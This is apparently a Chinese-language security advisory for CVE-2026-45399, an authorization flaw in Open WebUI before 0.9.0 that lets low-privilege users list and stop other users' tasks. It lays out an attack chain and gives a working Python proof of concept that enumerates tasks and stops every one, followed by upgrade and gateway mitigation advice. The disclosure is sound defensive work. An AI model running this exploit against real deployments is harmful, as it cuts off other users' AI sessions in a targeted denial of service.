IPBUF安全漏洞报告
English
CVE-2026-45399 CVSS 7.1 高危

Open WebUI 权限绕过漏洞 (CVE-2026-45399)

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45399
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限绕过Open WebUIIDORAPI安全拒绝服务

漏洞概述

Open WebUI是一个旨在完全离线运行的自托管AI平台。在0.9.0版本之前,系统存在严重的授权绕过漏洞。任何经过身份认证的低权限用户,均可利用特定API接口枚举全系统的后台任务,并强行终止属于其他用户的活跃任务。这一缺陷使得普通用户能够恶意干扰或阻断其他用户的对话服务,严重破坏了多用户部署环境下的系统完整性与可用性。

技术细节

该漏洞的核心在于Open WebUI后台任务管理接口缺乏有效的访问控制检查机制。在受影响版本中,`GET /api/tasks`接口在响应请求时,未根据当前用户身份对返回的任务列表进行严格过滤,导致低权限用户能够遍历并获取系统内所有活跃任务的ID及状态信息。更为关键的是,`POST /api/tasks/stop/{task_id}`接口在执行停止操作时,后端逻辑未对请求者是否拥有目标`task_id`的控制权进行校验。攻击者利用这一缺陷,只需获取到他人的任务ID,即可构造请求发送至该接口,从而强制中断目标用户的AI对话任务。这种水平权限越界(IDOR)破坏了多租户环境下的隔离原则,极易被利用进行针对性的拒绝服务攻击,严重影响业务连续性。

攻击链分析

STEP 1
获取凭证
攻击者注册或登录获取普通用户权限的身份凭证。
STEP 2
枚举任务
调用GET /api/tasks接口,利用权限绕过漏洞获取系统中所有活跃的任务ID。
STEP 3
发动攻击
使用获取到的任务ID,向POST /api/tasks/stop/{task_id}接口发送请求,强制终止其他用户的任务。
STEP 4
达成中断
目标用户的任务被停止,导致服务不可用,达成拒绝服务或干扰目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://localhost:3000" # Replace with actual target auth_token = "LOW_PRIVILEGE_USER_TOKEN" # Attacker's session token headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Step 1: Enumerate active tasks (IDOR vulnerability) # This endpoint returns tasks for ALL users, not just the current one enum_url = f"{target_url}/api/tasks" response = requests.get(enum_url, headers=headers) if response.status_code == 200: tasks = response.json() print(f"[+] Successfully enumerated {len(tasks)} tasks.") # Step 2: Stop tasks belonging to other users for task in tasks: task_id = task.get('id') # URL to stop a specific task stop_url = f"{target_url}/api/tasks/stop/{task_id}" # Exploit: Send POST request to stop the task # The server does not check if the current user owns this task_id exploit_resp = requests.post(stop_url, headers=headers) if exploit_resp.status_code == 200: print(f"[+] Successfully stopped task ID: {task_id}") else: print(f"[-] Failed to stop task ID: {task_id}") else: print("[-] Failed to enumerate tasks.")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即升级至0.9.0或更高版本以修复此漏洞。如果暂时无法升级,应在应用网关或WAF层限制对/api/tasks/stop/*接口的访问,仅允许管理员或特定服务账号调用,以缓解拒绝服务风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表